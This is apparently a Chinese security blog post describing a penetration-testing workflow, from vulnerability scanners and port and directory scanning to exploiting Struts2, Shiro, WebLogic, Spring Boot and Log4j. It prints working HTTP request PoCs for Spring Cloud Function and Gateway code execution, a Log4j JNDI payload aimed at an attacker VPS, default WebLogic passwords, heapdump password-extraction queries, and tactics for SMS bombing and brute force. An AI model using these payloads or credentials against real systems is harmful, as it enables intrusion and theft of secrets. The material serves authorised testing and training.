渗透测试 – 如何高效率挖掘漏洞

前言

1、做渗透由始至终,忌讳穿插其他项目进行

2、按顺序细心测试每一个功能点,保证漏洞无遗漏

3、山穷水复疑无路,柳暗花明又一村,一个点利用不到,可以灵活变通尝试其他方向

漏扫工具

AWVS

图片[1]-渗透测试 – 如何高效率挖掘漏洞-XSS博客

Xray

图片[2]-渗透测试 – 如何高效率挖掘漏洞-XSS博客

端口扫描

端口扫描可发现系统开放的端口

图片[3]-渗透测试 – 如何高效率挖掘漏洞-XSS博客

21、22、3306 等远程端口,可使用超级弱口令工具或者 railgun 自带模块进行暴力破解

图片[4]-渗透测试 – 如何高效率挖掘漏洞-XSS博客

6379 端口可以尝试 redis 未授权,使用计划任务等方式弹 shell

图片[5]-渗透测试 – 如何高效率挖掘漏洞-XSS博客
图片[6]-渗透测试 – 如何高效率挖掘漏洞-XSS博客
图片[7]-渗透测试 – 如何高效率挖掘漏洞-XSS博客

8080 端口可尝试 tomcat 弱口令部署 war 包 getshell

图片[8]-渗透测试 – 如何高效率挖掘漏洞-XSS博客
图片[9]-渗透测试 – 如何高效率挖掘漏洞-XSS博客

目录扫描

通过目录扫描可以发现系统中存在的脆弱性问题,方便我们进行下一步渗透

对于一些 403 的页面,可以进行二级目录扫描

dirsearch

图片[10]-渗透测试 – 如何高效率挖掘漏洞-XSS博客

Jsfinder

图片[11]-渗透测试 – 如何高效率挖掘漏洞-XSS博客

识别系统使用框架

可通过指纹工具识别出所使用的框架或者产品

Wappalyzer

图片[12]-渗透测试 – 如何高效率挖掘漏洞-XSS博客

tidefinger

图片[13]-渗透测试 – 如何高效率挖掘漏洞-XSS博客

CMS 二次开发站点

通过目录扫描发现带有 cms 标识残留页面或者通过图标判断出

图片[14]-渗透测试 – 如何高效率挖掘漏洞-XSS博客

通过漏洞库查找相关未修复的漏洞

图片[15]-渗透测试 – 如何高效率挖掘漏洞-XSS博客

struts2

一般使用 struts2 框架后缀带 do 或 action,可以尝试进行利用

图片[16]-渗透测试 – 如何高效率挖掘漏洞-XSS博客

后缀为 action,可能使用了 struts2 框架,使用工具尝试进行利用

图片[17]-渗透测试 – 如何高效率挖掘漏洞-XSS博客

命令执行成功

图片[18]-渗透测试 – 如何高效率挖掘漏洞-XSS博客

shiro

shiro 框架识别可通过数据包中是否含有 rememberme 字段进行判断

图片[19]-渗透测试 – 如何高效率挖掘漏洞-XSS博客

登录抓取数据包,发现存在 rememberme 字段,判断为 shiro 框架,尝试进行

图片[20]-渗透测试 – 如何高效率挖掘漏洞-XSS博客

检测当前密钥和利用链是否存在

图片[21]-渗透测试 – 如何高效率挖掘漏洞-XSS博客

两者存在利用成功

图片[22]-渗透测试 – 如何高效率挖掘漏洞-XSS博客

在攻防演练里 getshell 后还可以对 key 进行修改,防止其他队伍得分

图片[23]-渗透测试 – 如何高效率挖掘漏洞-XSS博客

使用潘神的一键改 key 工具,可看到 key 已经被修改

图片[24]-渗透测试 – 如何高效率挖掘漏洞-XSS博客

weblogic

框架识别

访问 7001 端口出现下面这种截图,可能存在 weblogic 漏洞

图片[25]-渗透测试 – 如何高效率挖掘漏洞-XSS博客

使用 weblogic 漏洞利用工具,检测是否存在漏洞

图片[26]-渗透测试 – 如何高效率挖掘漏洞-XSS博客

执行命令

图片[27]-渗透测试 – 如何高效率挖掘漏洞-XSS博客

weblogic 弱口令

输入 console 可跳转至登录界面,可以测试是否使用默认口令

system/password
weblogic/weblogic
admin/security
system/security
wlcsystem/wlcsystem
wlpisystem/wlpisystem
图片[28]-渗透测试 – 如何高效率挖掘漏洞-XSS博客

springboot

框架识别

1、通过 web 应用程序网页标签的小绿叶图标(favicon.ico)

2、通过 springboot 框架默认报错页面

图片[29]-渗透测试 – 如何高效率挖掘漏洞-XSS博客

目录扫描接口

推荐章神的 railgun,有对应的 springboot 字典

图片[30]-渗透测试 – 如何高效率挖掘漏洞-XSS博客
/env、/actuator/env
GET 请求 /env 会直接泄露环境变量、内网地址、配置中的用户名等信息;当程序员的属性名命名不规范,例如 password 写成 psasword、pwd 时,会泄露密码明文,同时有一定概率可以通过 POST 请求 /env 接口设置一些属性,间接触发相关 RCE 漏洞;同时有概率获得星号遮掩的密码、密钥等重要隐私信息的明文。

/refresh、/actuator/refresh
POST 请求 /env 接口设置属性后,可同时配合 POST 请求 /refresh 接口刷新属性变量来触发相关 RCE 漏洞。

/restart、/actuator/restart
暴露出此接口的情况较少;可以配合 POST请求 /env 接口设置属性后,再 POST 请求 /restart 接口重启应用来触发相关 RCE 漏洞。

/jolokia、/actuator/jolokia
可以通过 /jolokia/list 接口寻找可以利用的 MBean,间接触发相关 RCE 漏洞、获得星号遮掩的重要隐私信息的明文等。

/trace、/actuator/httptrace
一些 http 请求包访问跟踪信息,有可能在其中发现内网应用系统的一些请求信息详情;以及有效用户或管理员的 cookie等信息。

springboot exploit

目标地址填入要测试的 url,点击检测环境,然后点击检测当前利用链

图片[31]-渗透测试 – 如何高效率挖掘漏洞-XSS博客
java -jar JNDIExploit-1.3-SNAPSHOT.jar -l 1234 -p 8988 -i 0.0.0.0
服务器地址填入目标地址,选择相应的端口
图片[32]-渗透测试 – 如何高效率挖掘漏洞-XSS博客

heapdump 密码获取

/heapdump
/actuator/heapdump

使用 Eclipse Memory Analyzer 进行分析

http://www.eclipse.org/downloads/download.php?file=/mat/1.12.0/rcp/MemoryAnalyzer-1.12.0.20210602-win32.win32.x86_64.

select s from java.lang.String s where /pass/.test(s.value.toString())
select * from org.springframework.web.context.support.StandardServletEnvironment
select * from java.util.Hashtable$Entry x WHERE (toString(x.key).contains("password"))
select * from java.util.Hashtable$Entry x WHERE (toString(x.key).contains("password"))
图片[33]-渗透测试 – 如何高效率挖掘漏洞-XSS博客

springboot function spel rce

发送 poc,成功执行命令

POST /functionRouter HTTP/1.1
Host: 127.0.0.1:8080
spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("calc")
Content-Type: application/x-www-form-urlencoded
Content-Length: 5

xxx
图片[34]-渗透测试 – 如何高效率挖掘漏洞-XSS博客

springboot gateway

添加一个路由

POST /actuator/gateway/routes/test HTTP/1.1
Host: 172.20.10.2:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/json
Content-Length: 329

{
  "id": "hacktest",
  "filters": [{
    "name": "AddResponseHeader",
    "args": {
      "name": "Result",
      "value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"id\"}).getInputStream()))}"
    }
  }],
  "uri": "http://example.com"
}

刷新令路由生效

POST /actuator/gateway/refresh HTTP/1.1
Host: 172.20.10.2:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

访问触发漏洞

GET /actuator/gateway/routes/test HTTP/1.1
Host: 172.20.10.2:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

删除路由

DELETE /actuator/gateway/routes/test HTTP/1.1
Host: 172.20.10.2:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Length: 4
图片[35]-渗透测试 – 如何高效率挖掘漏洞-XSS博客

工具检测

https://github.com/chaosec2021/CVE-2022-22947-POC

图片[36]-渗透测试 – 如何高效率挖掘漏洞-XSS博客

log4j

https://github.com/f0ng/log4j2burpscanner

图片[37]-渗透测试 – 如何高效率挖掘漏洞-XSS博客
java -jar JNDIExploit-1.3-SNAPSHOT.jar -l 1234 -p 8988 -i 0.0.0.0
payload=${jndi:ldap://vps地址:1234/TomcatBypass/TomcatEcho}
图片[38]-渗透测试 – 如何高效率挖掘漏洞-XSS博客

常见功能点漏洞

SQL 注入挖掘

遇到参数后面带数字的,可以使用 1=1、1=2 判断是否存在 sql 注入

图片[39]-渗透测试 – 如何高效率挖掘漏洞-XSS博客
图片[40]-渗透测试 – 如何高效率挖掘漏洞-XSS博客

抓取数据包,使用 sqlmap 进行注入测试

图片[41]-渗透测试 – 如何高效率挖掘漏洞-XSS博客

测试成功

图片[42]-渗透测试 – 如何高效率挖掘漏洞-XSS博客

但在测试过程中可能会遇到被 waf 拦截的情况

图片[43]-渗透测试 – 如何高效率挖掘漏洞-XSS博客

可以 fuzz 被拦截的字符,有针对性进行绕过

图片[44]-渗透测试 – 如何高效率挖掘漏洞-XSS博客

api 接口账密信息泄露

通过查看系统的 js 文件,检索字段如 id、pass、url 等关键字

图片[45]-渗透测试 – 如何高效率挖掘漏洞-XSS博客
图片[46]-渗透测试 – 如何高效率挖掘漏洞-XSS博客

接口参数发现

常见于任意文件读取、下载、包含漏洞

arjun+fuzz

图片[47]-渗透测试 – 如何高效率挖掘漏洞-XSS博客

知道参数为 file 构造 https://10.10.10.127/system_wws/include.php?file= 使用字典对可读取文件进行 fuzz

图片[48]-渗透测试 – 如何高效率挖掘漏洞-XSS博客
图片[49]-渗透测试 – 如何高效率挖掘漏洞-XSS博客

敏感信息泄露

通过对某个字段进行置空,回显数据包中泄露了大量的手机号、姓名、住址等敏感信息

图片[50]-渗透测试 – 如何高效率挖掘漏洞-XSS博客

越权漏洞

通过修改 post 数据包字段的数值,可进行越权操作,查看其他用户的个人信息

https://pizz33.github.io/images/image-20220331133121580.png

图片[51]-渗透测试 – 如何高效率挖掘漏洞-XSS博客

短信问题

短信轰炸

对数据包进行重放,实现单用户收到多条短信的效果

短信定向转发

对数据包中的手机号进行遍历,实现一条短信转发给多个用户效果

图片[52]-渗透测试 – 如何高效率挖掘漏洞-XSS博客
图片[53]-渗透测试 – 如何高效率挖掘漏洞-XSS博客

未授权访问

https://github.com/rtcatc/Packer-Fuzzer

图片[54]-渗透测试 – 如何高效率挖掘漏洞-XSS博客
图片[55]-渗透测试 – 如何高效率挖掘漏洞-XSS博客

文件上传

黑名单过滤 php 后缀,尝试 php3、php5、phtml 等进行绕过

图片[56]-渗透测试 – 如何高效率挖掘漏洞-XSS博客

存在文件解析漏洞,比如 apache 的从右往左进行解析,可添加.xxx 进行绕过

图片[57]-渗透测试 – 如何高效率挖掘漏洞-XSS博客

fuzz 其他上传接口比如 file、upload、uploadfile 等,可能会存在其他接口不检验的问题,但实战中很少

暴力破解

之前我们一般暴力破解都是以 admin 为账号,去爆破 top1000 的字典,去根据状态码、长度筛选爆破结果

图片[58]-渗透测试 – 如何高效率挖掘漏洞-XSS博客

但是 admin 管理员账户一般是强口令,很难进行爆破,且部分密码进行加密,寻找 js 解密耗费时间久,对于 admin 建议尝试几个 admin123、123456 这些,如果没有的话我们应该选择其他的思路,固定密码 123456、000000 去爆破姓名拼音用户名

图片[59]-渗透测试 – 如何高效率挖掘漏洞-XSS博客

凑洞环节

后台地址泄露

图片[60]-渗透测试 – 如何高效率挖掘漏洞-XSS博客

不安全的 http 请求方式

图片[61]-渗透测试 – 如何高效率挖掘漏洞-XSS博客

垃圾数据写入

图片[62]-渗透测试 – 如何高效率挖掘漏洞-XSS博客

用户名枚举

图片[63]-渗透测试 – 如何高效率挖掘漏洞-XSS博客
图片[64]-渗透测试 – 如何高效率挖掘漏洞-XSS博客
图片[65]-渗透测试 – 如何高效率挖掘漏洞-XSS博客

中间件版本信息泄露

图片[66]-渗透测试 – 如何高效率挖掘漏洞-XSS博客

多点会话登录

图片[67]-渗透测试 – 如何高效率挖掘漏洞-XSS博客

© 版权声明
THE END
喜欢就支持一下吧
点赞11 分享
评论 抢沙发
头像
欢迎您留下宝贵的见解!
提交
头像

昵称

取消
昵称表情代码图片

    暂无评论内容